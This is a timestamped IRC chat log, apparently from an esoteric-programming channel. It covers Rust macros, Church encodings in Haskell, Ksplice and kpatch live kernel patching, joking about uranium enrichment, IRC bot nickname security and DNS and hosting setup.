00:03:53 Very poetic 00:14:50 -!- Phantom_Hoover has joined. 00:22:07 -!- pikhq has quit (Ping timeout: 264 seconds). 00:22:32 -!- pikhq has joined. 00:26:26 I think I like WAI and conduits... but Yesod itself maybe not so much :/ 00:26:36 I should actually try writing code at some point 00:38:29 -!- shikhout has joined. 00:41:19 -!- shikhin has quit (Ping timeout: 264 seconds). 00:41:21 -!- shikhout has changed nick to shikhin. 00:43:32 -!- Phantom_Hoover has quit (Quit: Leaving). 00:48:56 ugh 00:48:59 took me awhile 00:49:01 but "h 00:49:04 -!- olsner has quit (Quit: Leaving). 00:49:05 derp 00:49:17 but "Hi" in Barely is xhooooooooooooooxjjjjjjjjjjjjjjhhhh~ 00:50:06 or atleast i think, dont feel like making a DOS vm (or touching the dinosoar) 00:50:27 does anyone know if barely outputs as ASCII? 00:50:30 it doesnt say 00:53:29 -!- nooodl has quit (Quit: Ik ga weg). 01:45:05 -!- yorick has quit (Remote host closed the connection). 02:03:31 Is ATS likely to be of any interest compared to Idris and similar languages? 02:04:36 no 02:10:20 -!- Sellyme has quit (Excess Flood). 02:17:20 Sgeo did you learn Rust yet 02:17:29 I read about it some time ago 02:17:46 I should go read about procedural macros in Rust... is that in 0.9 or only in HEAD? 02:18:30 think only in HEAD 02:18:34 and there's not a lot to read :P 02:19:08 I mean "procedural macro" is a fancy term for "we dlopen() your crate in the compiler and stuff your function into the frontend pipeline" 02:19:25 so you're coding against the internal rustc APIs (which use deprecated language features, lololol) 02:19:28 Ah. So not a nice pretty syntax-case 02:19:43 no 02:20:04 the non-procedural "Macros By Example" are pattern-matching-based 02:20:06 that's neat, so you have pretty clean compiletime runtime separation 02:20:17 but maybe they're closer to syntax-rules? i don't know scheme that well 02:20:19 anyway 02:21:28 Sgeo: that internal rustc API does include a quasiquote syntax, thankfully 02:21:29 https://github.com/kmcallister/html5/blob/82ddb1433237023daf1168abcb8b1c233b5e6858/macros/named_entities.rs#L103-L110 02:21:56 syntax-rules is pattern matching based, syntax-case includes a macro for pattern matching called syntax-case, but implies other things that allow for arbitrary computation of syntax objects easily 02:22:04 ok 02:22:39 Bike: how do you mean? 02:22:57 macros don't stick around in the runtime image, they're only loaded in the compiler context 02:23:54 sure, that's basically what I expect from a language with macros and a phase distinction 02:24:22 the syntax to load a procedural macro crate is #[phase(syntax)] extern crate my_macros; 02:24:30 if you want that crate avail. at runtime too you can do #[phase(syntax,link)] 02:27:16 actually that's how you load non-procedural exported macros, too 02:27:23 does scheme do it? 02:27:30 the ability to export macros from a crate came in at the same time as procedural macros 02:27:38 idk, scheme doesn't have so much of a phase distinction though, does it? 02:27:53 in some lisps anyway "compile" is just a function you can invoke at runtime 02:28:09 like instead of (eval foo) you compile it first and now it's faster 02:28:10 well, i don't know 02:28:20 paging someone who knows scheme 02:28:21 common lisp has a phase distinction but macros stick around 02:28:37 what do they do at runtime? hang around awkwardly looking at their shoes? 02:28:44 basically yeah 02:29:01 it's one of the ways common lisp is obviously made for lisp machines :/ (and so a persistent environment you fuck with) 02:29:15 I see 02:30:07 kmc: Racket has phases, can't speak for Schemes in general 02:36:14 -!- tertu has joined. 02:36:41 -!- augur has joined. 02:50:24 I wonder if anyone has made a runtime eval() for Rust yet 02:50:52 in theory it shouldn't be that hard, because the compiler is written as a library (rather, various libraries) 02:51:19 and it can compile to a .so and there's a cross-platform dlopen()-like interface already in the stdlib 02:51:39 (it's a pretty minimal wrapper, though; doesn't do load-time typechecking or anything) 02:52:19 you could also try to use the LLVM JIT, that's what the old rusti used, but it was removed due to bugginess 02:59:42 Is b -> (a -> b) -> b morally equivalent to Maybe a? Is there a name for doing that? Can it be done with List a? 03:00:05 yes and yes 03:00:12 church encoding 03:00:21 it can be done in a couple of different ways with List 03:00:36 simplest form of that gives you exactly foldr 03:01:35 Are there types whose church encoding covers more than just the type? 03:01:44 Was thinking Maybe Int, but not in that case 03:02:14 But... e.g. something where you could say const something instead of using the input, to build something that doesn't actually correspond to a value that the type has 03:02:42 hm 03:02:52 as long as you have a polymorphic return value, it's equivalent to some type 03:04:24 -!- tromp__ has joined. 03:05:36 -!- tromp_ has quit (Ping timeout: 240 seconds). 03:06:02 how does that theorem work? :) 03:06:08 Sgeo: forall b. b -> (a -> b) -> b is Maybe a 03:06:19 is what copumpkin means 03:06:33 Sgeo: there's also Mogensen-Scott encoding 03:08:01 yeah, that's what I meant by the couple of different ways for List 03:08:09 for non-recursive types they look the same 03:08:12 ah 03:08:30 i forgot the difference, anyway, I guess it's about whether it represents one level of constructor or all of them? 03:08:38 like whether it folds the whole list or just applies a function to the first cons cell 03:08:53 newtype List a = List (forall r. r -> (a -> List a -> r) -> r) 03:08:59 newtype List a = List (forall r. r -> (a -> r -> r) -> r) 03:09:04 *nod* 03:10:09 -!- Sellyme has joined. 03:10:33 SomeException isn't as magic as I thought, I think 03:11:29 throw ThisException `catch` \e -> putStrLn ("Caught " ++ show (e :: MyException)) 03:11:45 I gather that it's just return type polymorphism getting to brag some more 03:12:48 does the GPL dislike it if I distribute a subset of someone's work? 03:13:02 like, I want to distribute a tarball of binutils minus everything that isn't needed for libopcodes 03:13:14 because it's ****ing huge otherwise 03:13:52 it doesn't seem like it should be problematic, right? 03:14:17 a mirror for the other parts of binutils is provided by the gnu foundation, 03:14:45 there's a libopcodes-only distro? I'd take that 03:15:02 it unfortunately also tries to depend on libiberty, bfd, and intl 03:15:52 “You may convey a work based on the Program, or the modifications to produce it from the Program [...]” 03:17:12 the gnu operating system 03:17:46 (But “Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.”) 03:18:15 I was recently reminiscing about how I happened to have BFD on my résumé when I applied to Ksplice (because I'd done like two 50-line projects)… 03:18:29 and they were excited because the core of their product is a 3,000 line C program which uses BFD heavily and has very few comments 03:18:48 sorry that's 3,000 lines in one file, there are some other files too 03:19:16 what's bfd 03:20:17 http://en.wikipedia.org/wiki/Binary_File_Descriptor_library 03:20:20 don't miss the "history" section 03:23:54 kmc: Any thoughts on ? 03:25:13 hmm 03:25:16 I haven't looked at this 03:25:42 it looks extremely similar to Ksplice 03:25:49 yeah 03:26:01 not just in purpose/design but the code structure is very similar 03:26:07 ok 03:26:21 it might be a fork -- the original Ksplice was GPL, and they would change the name to avoid Oracle trademark lawyers 03:26:27 ok 03:26:36 but I don't see ksplice people listed in the copyright sections 03:27:46 I wouldn’t mind the maintainers of my $distro starting to use that officially. 03:29:22 "Unfortunately kpatch depends on Linux kernel >= 3.7, so it’s not compatible with RHEL/CentOS 6." 03:29:34 Heh, the github history starts with a 2000-line kmod 03:29:36 at some point in the future 03:29:41 ... this may have been written from scratch 03:30:06 the commercial version of ksplice worked all the way back to RHEL4's 2.6.9 kernel 03:30:23 though the released GPL code only supported CentOS 5 03:30:43 supporting 2.6.9 resulted in some hilarity, had to ksplice fixes to bugs that would prevent other ksplicing from working 03:31:00 nice 03:31:31 yeah it's cool that you could apply updates to a system that was booted years before ksplice existed 03:31:43 since it works on a totally stock distro kernel without rebooting even once 03:31:49 yeagh 03:31:52 yeah even :-P 03:32:15 I don't think it would take all that much work for some skilled kernel developers (of which RH has many) to reimplement ksplice just for 3.7+ 03:32:23 since they have the paper and the GPL'd code to look at 03:33:18 and they have a clear competitive reason to do so 03:34:00 ion and kmc have the same color on my end and it's tripping me out 03:34:02 “Frequently Asked Questions. Q: Isn't this just a virus/rootkit injection framework?” 03:34:07 hahaha 03:34:09 yes 03:34:12 ksplice would make a baller rootkit 03:34:13 thank you jafet 03:34:17 it's also a good rootkit detector 03:34:19 you have broken the curse 03:34:21 we detected a lot of rootkits bitd 03:34:26 uhhh yes insmod is a great rootkit injection 03:34:59 yeah, what I mean is that ksplice tech would help one write a very sophisticated rootkit, but having ksplice on your system doesn't make it any easier for an attacker to install a rootkit 03:35:17 do malicious linux rootkits exist 03:35:21 ? 03:35:30 do they? 03:35:32 Almost certainly yes 03:35:34 i don't understand the question 03:35:35 No, they are all benevolent. 03:36:17 I want to write a Linux kernel rootkit in Rust 03:36:41 people have written a few kernel modules in Rust but only hello world stuff 03:36:51 it would be fun to do something complicated and actually write Rust bindings for parts of the kernel API and such 03:37:03 when i used windows i got hit by rootkits once or twice. does (not "can") this occur on linux 03:37:17 yes, most servers run Linux so malware for compromising Linux servers is very popular 03:37:29 oh 03:37:34 "rootkit" is something I associate with servers, anyway 03:37:44 it's usually called something else when it's desktop malware although the distinction may be arbitrary 03:38:00 to me the term "rootkit" basically assumes you have a nosy sysadmin and you want to hide things from them 03:38:40 one of the major features of a rootkit is to hide stuff from ls, ps, etc. 03:39:01 fungot: are you a nosy sysadmin 03:39:02 kmc: hm, scheme would go fnord. i'll start working on it 03:39:16 I thought eastern european haxxxorz but that sounds plausible too 03:39:20 fungot: very good. give me status updates every half-hour. 03:39:20 kmc: all fnord colours are black, no matter what it's called 03:39:35 "HAXXXOR Volume 1: No Longer Floppy" 03:39:49 https://archive.org/details/haxxxor_volume_1_dvd nsfw 03:39:56 fungot: any fnord colour you like 03:39:57 Jafet: but without mmu isn't as bad as last time we had turkey was the thanksgiving of ' 98 when the oven element burned out and we made easy os. 03:39:59 whoa 03:40:08 With the risque "HaXXXor" series of low-budget films, Nmap makes the leap from Science fiction to soft-core pornography. 03:40:31 http://nmap.org/movies/elysium/elysium-nmap-screenshot-720x400.jpg i love this shit 03:41:13 I hate it when hackers download lethal threats to my data hosts. 03:41:15 "If you notice something familiar about the background Nmap scans in the screenshots below, it's because the film makers directly cribbed some of them from The Matrix Reloaded. " oh this is good stuff 03:45:34 fnord 03:45:37 i should keep reading that book 03:47:01 p. 03:47:17 help 03:49:32 the novelization of matrix reloaded was pretty good, 03:51:09 oh, this RH thing uses rather than BFD 03:51:11 probably wise. 04:06:31 -!- shikhin has quit (Ping timeout: 264 seconds). 04:09:37 * Sgeo reads http://community.haskell.org/~simonmar/papers/ext-exceptions.pdf 04:21:21 -!- zzo38 has joined. 04:24:03 -!- not^v has changed nick to ^v. 04:31:31 "There was an experiment at Sandia Labs in which a backdoor was inserted into code and code reviewers told where in code to look for it. They could not find it – even knowing where to look." 04:31:47 cool 04:31:48 details? 04:32:00 I don't know details, I'm just quoting from https://blogs.oracle.com/maryanndavidson/entry/mandated_third_party_static_analysis 04:34:50 Hmm, hivemind seems to dislike that article http://www.reddit.com/r/netsec/comments/21fj35/mandated_third_party_static_analysis_bad_public/ 04:42:37 Is the code available that other people can look too? 04:43:58 -!- prooftechnique has quit (Quit: leaving). 04:51:31 yeah while we're at it I'll also take a glance at some of their hydrogen bomb designs 05:02:15 -!- ^v has quit (Quit: http://i.imgur.com/DrFFzea.png). 05:14:38 -!- tromp_ has joined. 05:16:23 -!- tromp__ has quit (Ping timeout: 268 seconds). 05:18:52 kmc: eh why bother. we could probably do better building an open source H-bomb. 05:21:17 how hard can it be 05:22:51 Just stick some hydrogen in a jar, right? 05:23:03 well there's that one 14-year-old kid who built a reactor, and enriched some yellow cake in his garage. so i think the answer to your question is "so easy a well-informed teenager could do it" 05:23:12 kmc: I pushed my libopcodes haskell binding 05:23:22 it's not on hackage yet, but I'll get it up sometime 05:23:31 it's still pretty rough but I'll polish it up over the weekend 05:23:44 -!- tromp_ has quit (Remote host closed the connection). 05:24:04 cooool 05:24:18 -!- tromp_ has joined. 05:24:35 i think there are a few steps from somewhat enriched uranium to weaponized thermonuclear device 05:25:18 yeah. nothing so difficult we couldn't do it with a couple hundred k dollars in machinery, right? 05:28:33 good luck w/ that 05:29:20 -!- tromp_ has quit (Ping timeout: 268 seconds). 05:29:42 i'd like to point out that the first artificial nuclear reactor was made of wood 05:29:56 weekend project for dads, imo 05:31:30 lol 05:31:37 nuclear reactor hackathon 05:32:21 -!- Sorella has quit (Quit: It is tiem!). 05:33:15 you know i don't actually know how uranium is enriched. or what that means. is it just getting the radioactive isotope out of the ore 05:33:44 pretty much 05:33:51 there are lots of ways http://en.wikipedia.org/wiki/Enriched_uranium#Enrichment_methods 05:34:07 i just hear 'centrifuge' and i'm like oh those are easy 05:34:18 they're pretty intense centrifuges 05:34:30 gas centrifuge. oh. 05:34:55 actually the method used at Oak Ridge during the war is pretty amusing / something 05:34:58 http://upload.wikimedia.org/wikipedia/commons/d/d8/Diagram_of_uranium_isotope_separation_in_the_calutron.png 05:35:03 http://en.wikipedia.org/wiki/Calutron 05:35:38 "Want of copper for the large coils to produce the magnetic fields prompted a solution possible only in wartime: Groves borrowed 14,700 short tons of pure silver from a government vault for the purpose; all was later returned, the last few tons in 1970." 05:35:54 :| 05:36:12 the picture just looks like a spectrometer though. wikipedia agrees i guess 05:36:15 yes 05:36:28 shoot uranium into the air w/ a magnetic field and pick up the bits that land in a certain place 05:37:03 so uh, a really big spectrometer. 05:37:25 also like the last paragraph here http://en.wikipedia.org/wiki/Calutron#Scaling_up_at_Oak_Ridge 05:37:51 -!- Sellyme has quit (Excess Flood). 05:37:57 regular lab ultracentrifuges can get like two million g's though 05:37:59 psycho equipment 05:38:02 dang 05:38:21 http://en.wikipedia.org/wiki/File:Ultracentrifuge.jpg the face of death 05:38:40 -!- Sellyme has joined. 05:39:14 -!- conehead has quit (Quit: conehead). 05:41:16 if you dumped uranium fluoride ore in one you would probably die though 05:42:00 uranium and fluorine 05:42:04 two great tastes that go great together 05:42:33 "Tetrauranium octadecafluoride" hell yeah 05:43:07 Bike: that sounds very, very dangerous 05:43:34 like seriously. 18 fluorides? what the hell 05:44:07 kinda doubt it 05:44:37 fluorine isn't dangerous in compounds, that's the whole point 05:46:34 depends on the compound 05:47:02 and yes that sounds dangerous 05:47:21 lots of fluorines per available electron density -> it's still hungry 05:47:50 chlorinated hydrocarbons are fine, but this... 05:48:15 (unrelated: fluorophilicity, what the fuck?) 05:48:46 http://en.wikipedia.org/wiki/Uranium_hexafluoride uranium hex seems aight 05:48:50 wonder if tsunamis explode it 05:49:04 (why is it a thing that things will separate into a polar fraction, a nonpolar fraction, and a fluorinated fratction???) 05:49:27 just to fuck w/you 05:49:29 i don't even understand the first two -__- 05:49:39 first two what 05:49:43 highly toxic, reacts violently with water, corrosive to most metals 05:49:47 why things separate into polar and nonpolar 05:49:53 so yeah tsunamis probably explode it 05:49:56 I mean I kind of get it but probably would fail to explain it properl 05:49:59 yay splosions 05:49:59 y 05:50:32 polar things are attracted to each other more than nonpolar things are attracted to each other or polar and nonpolar are attracted, because they can reorient to have partial positives next to partial negatives 05:50:42 so polar things stick together and push out the nonpolar 05:50:56 yeah 05:50:59 just in case you were too used to opposites attracting 05:51:04 right 05:51:07 I guess that is what I would have said before, 05:51:12 but somehow it's vaguely unsatisfying 05:51:28 I guess because the saying is "like attracts like" but the nonpolar stuff here only ends up together by default 05:51:28 fair enough 05:51:52 you t hink that's unsatisfying let me tell you about "determining" a compound's polarity by counting oxygens and shit 05:52:23 wait who does that? that sounds like a stupid way to do it 05:52:34 babby's first bio classes 05:52:39 :( :( 05:53:03 though i guess in bio all the molecules are really big so they can kind of line up any way they want to and it's almost ok? 05:53:10 yeah maybe 05:53:15 inorganic chemistry is 'something i'm pretty bad at' 05:53:30 not that i'm actually good at org but hey 05:53:31 inorganic chemistry is fun! 05:53:38 least i don't have to care about dipoles 05:53:40 group theory and all that stuff 05:54:50 ok yes. we did some basic chromatography with some chlorophylls. 05:55:00 "To determine polarity, count the number of polar oxygens present in each molecule." 05:55:06 wait doesn't ochem care about dipoles too? 05:55:23 anyway, yeah, chlorophylls are huge and i doubt that's actually a terrible approximation even though it's icky 05:55:38 http://dwb4.unl.edu/Chem/CHEM869E/CHEM869ELinks/www.uis.edu/7Etrammell/organic/introduction/polarity.htm hm hm 05:55:48 douglass_: we also only cared about relative polarity so there's that 05:56:38 oh hey a whole monograph "Dipole Moments in Organic Chemistry (Physical methods in organic chemistry) " 05:57:14 i just kind of talk a lot about things i don't know srry 05:57:37 i don't mind 05:57:49 fungot: how do you determine polarity 05:57:49 kmc: i suggest where the left fnord is in my class at all. thanks. :) but sure 05:57:57 none pizza with left fnord 05:58:23 i did think it was neat that chlorophylls are bloggy and beta carotene and xanthophyll have huge ass hydrocarbon chains 05:58:26 blobby* 06:01:07 -!- tertu has quit (Ping timeout: 264 seconds). 06:07:37 -!- conehead has joined. 06:21:23 How do you count the number of inhabitants of (forall a. a -> a -> a)? 06:21:46 The correct answer's two, right? (Pretending _|_ doesn't exist) 06:22:20 you forgot about bill who has a summer home there 06:22:40 But... a -> (a -> a), a -> a has one inhabitant, 1 ^ 1 = 1... pretty sure the forall is confusing me 06:22:59 that's not valid without the quantifier 06:23:09 forall a. a -> a has one inhabitant 06:23:15 but you shifted the quantifier out 06:24:35 forall a. a -> a -> a ~~ forall a. (a, a) -> a ~~ forall a. (Bool -> a) -> a ~~ Bool 06:26:29 How does that middle step work, (a, a) being (Bool -> a)? 06:26:54 a * a = a^2 06:28:01 @type let f (a,b) = \sel -> if sel then b else a; g foo = (foo False, foo True) in (f, g) 06:28:02 ((t, t) -> Bool -> t, (Bool -> t1) -> (t1, t1)) 06:50:28 -!- Sellyme has quit (Excess Flood). 06:51:10 -!- Sellyme has joined. 06:58:34 -!- chaiomanot has quit (Ping timeout: 265 seconds). 07:02:52 -!- JesseH has quit (Read error: Connection reset by peer). 07:03:21 -!- JesseH has joined. 07:50:31 Do you think SQL is a very good programming language for statistics/data analysis? 07:52:27 I think so. I also think that, when SQLite is used as a application file format and/or internal format, it allows you to have a embedded programming language for free. 07:52:27 never been there 07:59:49 -!- Sgeo_ has joined. 08:03:35 -!- Sgeo has quit (Ping timeout: 265 seconds). 08:03:58 -!- Sprocklem has quit (Quit: Leaving). 08:23:09 -!- oerjan has joined. 08:26:39 -!- ket1v has quit (Remote host closed the connection). 08:27:08 -!- tromp_ has joined. 08:31:50 -!- tromp_ has quit (Ping timeout: 265 seconds). 08:31:58 kmc: For example, krogstad :( <-- did you know that google is entirely useless for finding out what americans mean by a word that is actually from your own, different, language? 08:32:08 haha 08:32:20 it's the surname of somebody we know 08:32:26 what does it mean in your own, different language 08:32:32 it's a surname 08:32:45 i assumed you were talking about some company 08:33:19 (probably founded by a norwegian-american, but still impossible to google if it's not _very_ famous) 08:33:54 because there are all these _norwegian_ people and companies that google insists on putting first based on your location 08:34:19 also, it's originally a placename 08:35:26 except probably a small one, because it's impossible to google that, either. 08:35:57 heh 08:36:37 no:krok = en:hook, no:stad = en:place,town 08:36:56 and the k used to be g in earlier orthography (still is in danish) 08:37:16 hm maybe they modernized that in the placename... 08:37:24 grog? 08:37:51 ion: krog -> krok 08:38:27 because danish has this habit of softening final and intermediate consonants that were hard in norse, which norwegian doesn't 08:39:01 at least not as much 08:42:23 http://no.wikipedia.org/wiki/Krokstadelva exists, at least (and claims this krok is actually from a rare personal name) 08:43:31 which, given the final r, was back in norse times 08:46:40 -!- ket1v has joined. 08:57:44 -!- conehead has quit (Remote host closed the connection). 09:01:33 -!- ket1v has quit (Remote host closed the connection). 09:01:48 -!- ket1v has joined. 09:52:41 -!- Phantom_Hoover has joined. 10:14:36 -!- shikhin has joined. 10:14:42 -!- shikhin has quit (Changing host). 10:14:42 -!- shikhin has joined. 10:32:31 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 10:38:58 -!- nooodl has joined. 10:40:16 -!- john_metcalf has joined. 10:44:13 -!- john_metcalf has quit (Client Quit). 10:49:56 -!- john_metcalf has joined. 10:55:56 -!- MoALTz has joined. 11:12:16 -!- yorick has joined. 11:13:20 -!- Phantom_Hoover has joined. 11:34:06 Molten PLA smells nice 12:09:50 printing 3d? 12:09:56 -!- Zom-B|zz has changed nick to Zom-B. 12:10:28 -!- MindlessDrone has joined. 12:10:32 why? every time 12:10:32 [14-03-29 13:09:49] You have 1 new message. '/msg lambdabot @messages' to read it. 12:10:32 [14-03-29 13:09:59] @messages 12:10:32 [14-03-29 13:10:00] You don't have any messages 12:10:33 printing or burning, what's the difference 12:10:58 Zom-B: that's weird. 12:11:05 2nd time now 12:11:22 @ask Zom-B What about now? 12:11:22 Consider it noted. 12:11:44 i got your message 12:12:13 int-e: you get right on it 12:12:57 i dont see any other @ask kere 12:12:59 Zom-B: oh hm wait 12:13:14 you just changed your nick didn't you. 12:13:19 yes 12:13:26 change back and try again 12:13:28 not the first time though 12:14:19 i got the messaage notify after i changed 12:14:29 -!- Zom-B has changed nick to Zom-B|zz. 12:14:42 -!- Zom-B|zz has changed nick to Zom-B|aw. 12:15:05 -!- Zom-B|aw has changed nick to Zom-B. 12:15:26 i got one other message to pop up, from 3d ago 12:15:34 fancy 12:16:36 there was another person on here with my nick for more than a day, before i managed to register it 12:16:47 maybe he read my message 12:17:20 even after i registered, he took my nick, before i ghosted his ass 12:18:08 well that doesn't explain how he managed to get in between the minute you were notified and when you tried to read it 12:18:10 some mof: Zom-B is ~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 * zom_b@gmx.de 12:18:48 -!- oerjan|hm has joined. 12:19:10 @ask oerjan|hm Are you ok? 12:19:10 Consider it noted. 12:19:16 ho hum 12:19:36 Huh, so targeting messages at nicknames is not secure. 12:20:00 interesting. 12:20:00 should target logins rather than nicks 12:20:13 -!- oerjan|hm has left. 12:20:28 the problem is then it couldn't be used with people who aren't logged in 12:21:01 why have a messagebot at all whe you have /ms? 12:22:26 tradition. 12:22:49 /ms help 12:22:49 [14-03-29 13:21:51] -MemoServ- ***** MemoServ Help ***** 12:22:49 [14-03-29 13:21:51] -MemoServ- MemoServ allows users to send memos to registered users. 12:22:49 ... 12:22:57 registered users only 12:23:06 and memoserv tends to get lost in my status window. 12:23:56 i once made a message bot by login name, but people didnt understand how to use it (they tried nicks) 12:24:10 then i let it track all usernames which belong to logins, but that was a major PITA 12:24:16 never worked well 12:24:34 because people sometimes take each other's nick when the other is not online to troll people 12:24:55 and one person can have different logins dependong on from wehere they connect 12:25:05 you can get the information from /whois 12:25:12 so the algorithm grouped multiple 'real' people together as being one 12:25:31 the bor did /whois/ every time someone it itself connected 12:26:52 Zom-B: you should track the entirel nick!user@host part i think 12:26:55 *-l 12:27:11 Oh my gosh it's ZOMBOCOM 12:27:24 Zom-B: oh wait that's what you mean by login 12:27:32 for example, if you take me, it would have thought ~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl and ~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 were the same person 12:27:36 freenode accounts are different again 12:27:49 and you can find those with /whois as well 12:28:04 (although you have to wait until they're finished registering) 12:29:19 if i would do /nick oerjan|hm, then it would also group oerjan@sprocket.nvg.ntnu.no and think we're both the same person 12:29:48 yeah without proper registrations you cannot make it secure, really 12:30:04 well secure and convenient 12:30:20 ^ 12:30:34 so lambdabot doesn't even try. 12:31:05 i didnt even try fixing my message bot (actually just a small module within a much larger bot) and just discarded it 12:31:29 Well, lambdabot can't even track nicknames to begin with, so it's rather moot 12:31:35 @seen oerjan 12:31:35 oerjAN 12:31:49 @seen was removed ages ago 12:32:08 @seep 12:32:08 Maybe you meant: slap leet help 12:32:18 @leet oerjan 12:32:19 OERjan 12:32:29 close enough 12:32:36 i think its awesome that someone went and made a bot in befunge 12:32:54 yes 12:33:17 next: brainfuck 12:33:31 I suspect that having lambdabot issuing whois queries would create more problems than it could possibly solve. 12:34:15 i think you should built in a message list that the user has to clear manually, that way noone can 'lose' messages that are read by others 12:34:49 (it would also a design challenge, since it would add an asynchronous query to a design that's currently (mostly?) synchronous.) 12:34:52 Zom-B: um it wouldn't prevent others from clearing the messages 12:35:06 i assume that they read it by accident 12:35:19 otherwise keep te last 10 messages oir so 12:36:01 i'm not sure it happens that much by accident? lambdabot is not on _that_ many channels... 12:36:02 I would hate having to clear them explicitely. 12:36:11 Modify your own irc client to send them the message when they log in. 12:36:24 oerjan: 70 is a lot in my view. 12:36:24 it messaged 'zom-b' that there were messages, and someone else took my nick 12:36:56 int-e: yes but is it enough that people accidentally confuse nicks in them _and_ get @tells 12:37:27 nah, I thought the problem was the opposite 12:37:48 lambdabot is on 70 channels O_o? 12:37:49 people changing nicks (or getting an _ appended, whatever) and never seeing that they got messages because of that. 12:37:51 Zom-B: are you sure that happened 12:38:11 yes 12:38:12 Zom-B Nickname is already in use. 12:38:12 - 12:38:12 Zom-B is ~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 * zom_b@gmx.de 12:38:12 Zom-B using hobana.freenode.net Bucharest, RO 12:38:12 ZOm-B End of /WHOIS list. 12:38:28 oh well 12:38:49 -!- shikhout has joined. 12:38:57 im not 100% sure that he actually got messages from lambdabot but what other explaination is ther? 12:39:19 Zom-B: you can activate nickserv's protection against that if you want. 12:39:32 al ready registered yesterday 12:40:08 i don't mean plain registration, there's a flag to automatically throw out people trying to use your nick without logging on 12:41:05 enforce, right? 12:41:09 the downside is that you have to do some command to get on yourself afterward when it happens, iirc 12:41:23 something like that 12:41:55 -!- shikhin has quit (Ping timeout: 264 seconds). 12:41:57 -!- shikhout has changed nick to shikhin. 12:42:10 you get a 60 second timer if you're not logged in, but i have a login script that runs on every connect 12:45:36 i just use a server password 12:46:22 -!- oerjan has quit (Quit: Why am I still here). 12:51:05 I just use a X.509 certificate. 13:21:01 -!- tertu has joined. 13:48:33 -!- ket1v has quit (Remote host closed the connection). 13:48:48 -!- ket1v has joined. 13:52:32 -!- ket1v has quit (Remote host closed the connection). 13:52:49 -!- ket1v has joined. 14:05:38 -!- oklopol has quit (Quit: Leaving). 15:19:00 -!- tromp_ has joined. 15:28:22 -!- ChanServ has set channel mode: -b *!*elliot*@*. 15:28:29 -!- elliott has joined. 15:28:47 fizzie: the nameservers for esolangs.org should have been switched over now 15:28:50 (they are in whois locally) 15:41:30 I get ns1.twisted4life.com. and eos.zem.fi. 15:42:16 (from one of the .org nameservers) 15:42:30 why was elliott banned? 15:42:44 I banned myself :P 15:42:51 why? :) 15:43:07 A guess: To get some sleep? 15:43:14 because a spammer was playing whack-a-mole with names with elliott in it and I was bored 15:43:20 *in them 15:43:40 int-e: eos.zem.fi should be the "primary" one, but apparently DNS nameservers are unordered and the primary one just goes in another record or something? 15:43:41 ah. missed that. 15:43:47 I don't really know how DNS works. 15:44:09 I also don't know how long I should leave the esolangs.org records lying around in the Linode DNS... 15:44:11 elliott: right that's an internal arrangement, the rest of DNS doesn't care. 15:44:52 (one step further you can see that: esolangs.org. 259200 IN SOA eos.zem.fi. postmaster.esolangs.org. 2014032301 28800 7200 2419200 86400) 15:45:12 SOA meaning "start of authority" and eos.zem.fi being the authorative name server. 15:45:21 -!- password2 has joined. 15:46:34 * elliott nod 15:46:46 while the .org server just shrugs its shoulders and refers you to two nameservers that should know more. 15:46:51 I just use Linode's web interface to set it all up initially because what's a DNS. 15:47:10 (I don't own the domain) 15:48:01 linode! 15:48:07 pfft, online.net is where it's at 15:48:48 it got set up in early 2012. 15:49:00 way better pricing on mine 15:49:07 you should move over! 15:49:23 does this place even do VPSes? 15:49:37 no 15:49:53 but this is a crazy good deal: http://www.online.net/en/dedicated-server/dedibox-scg2 15:49:58 I have one and it works fine 15:50:03 I don't wanna keep paying linode $20/mo, but I can get a VPS cheaper than these prices and I don't need the muscle :p 15:50:50 heh, VIA, nice 15:51:15 -!- Sellyme has quit (Excess Flood). 15:51:29 I also got myself one of these recently, that's very cute: http://www.amazon.com/gp/product/B00FWUVTS0 15:52:09 -!- Sellyme has joined. 15:54:58 cute. I wonder how long it takes to compile ghc on one of those ... 15:55:21 haven't tried it yet :) 16:03:24 Anyway, I suspect it would be too weak for running lambdabot. 16:07:50 really? 16:08:08 you talking about the VIA box or the ARM one? 16:08:33 > text . map chr . scanl1 (+) $ [40,58,3,-2,-2,20,-2,-14,-69,71,1,-5,-67,84,-19,10,-6,14,-83,65,6,-2,14,-83,84,-5,-79,76,3,-14,3,-68,65,11,0,-76,84,-12,-3,-69,80,-15,2,8,-10,6,-2,14,-83,85,-2,-14,-1,-68,66,23,-89,32,50,3,-7,-69] 16:08:34 (input):1:29:When elaborating an application of function Control.Category..: 16:08:34 No such variable scanl1 16:08:35 (because ghc takes ages to load all the packages used by @run) 16:08:46 > text . map chr . scanl (+) 40 [58,3,-2,-2,20,-2,-14,-69,71,1,-5,-67,84,-19,10,-6,14,-83,65,6,-2,14,-83,84,-5,-79,76,3,-14,3,-68,65,11,0,-76,84,-12,-3,-69,80,-15,2,8,-10,6,-2,14,-83,85,-2,-14,-1,-68,66,23,-89,32,50,3,-7,-69] 16:08:46 When elaborating an application of function Control.Category..: 16:08:46 No such variable scanl 16:08:47 Couldn't match expected type `a0 -> [GHC.Types.Int]' 16:08:47 with actual type `[b0]' 16:08:51 meh 16:08:56 > L.scanl 16:08:56 (input):1:1:When elaborating an application of constructor __infer: 16:08:56 No such variable L.scanl 16:08:57 Not in scope: `L.scanl' 16:08:57 Perhaps you meant one of these: 16:08:57 `P.scanl' (imported from Prelude), 16:08:57 `BSL.scanl' (imported from Data.ByteString.Lazy), 16:08:57 `BS.scanl' (imported from Data.ByteString) 16:09:25 err. it worked the first time. mumble. 16:09:33 idris-ircslave: begone 16:09:33 (input):1:1:When elaborating an application of constructor __infer: 16:09:33 No such variable begone 16:09:55 copumpkin: the via one 16:10:11 I have not looked at the arm one 16:10:11 ah 16:10:26 I dunno, I guess I could try installing lambdabot on it and see :) 16:10:30 with ARM I would worry about getting code to run. 16:11:37 But I don't know whether this is a real concern. 16:12:22 * int-e is a happy ramnode customer, for running lambdabot 16:14:17 I should probably verify that postmaster@esolangs.org also works, given that I stuck it in. 16:14:19 (They sell VMs, where essentially, you pay for provided RAM; a 1GB VM is about twice as expensive as a 512MB one. As far as I know, they don't overcommit that ressource.) 16:14:51 (hostmaster probably would've been the more appropriate alias in a SOA record, too.) 16:15:02 which I found to be a refreshingly honest approach to selling VMs. 16:15:10 yup, they look nice 16:15:31 -!- Sorella 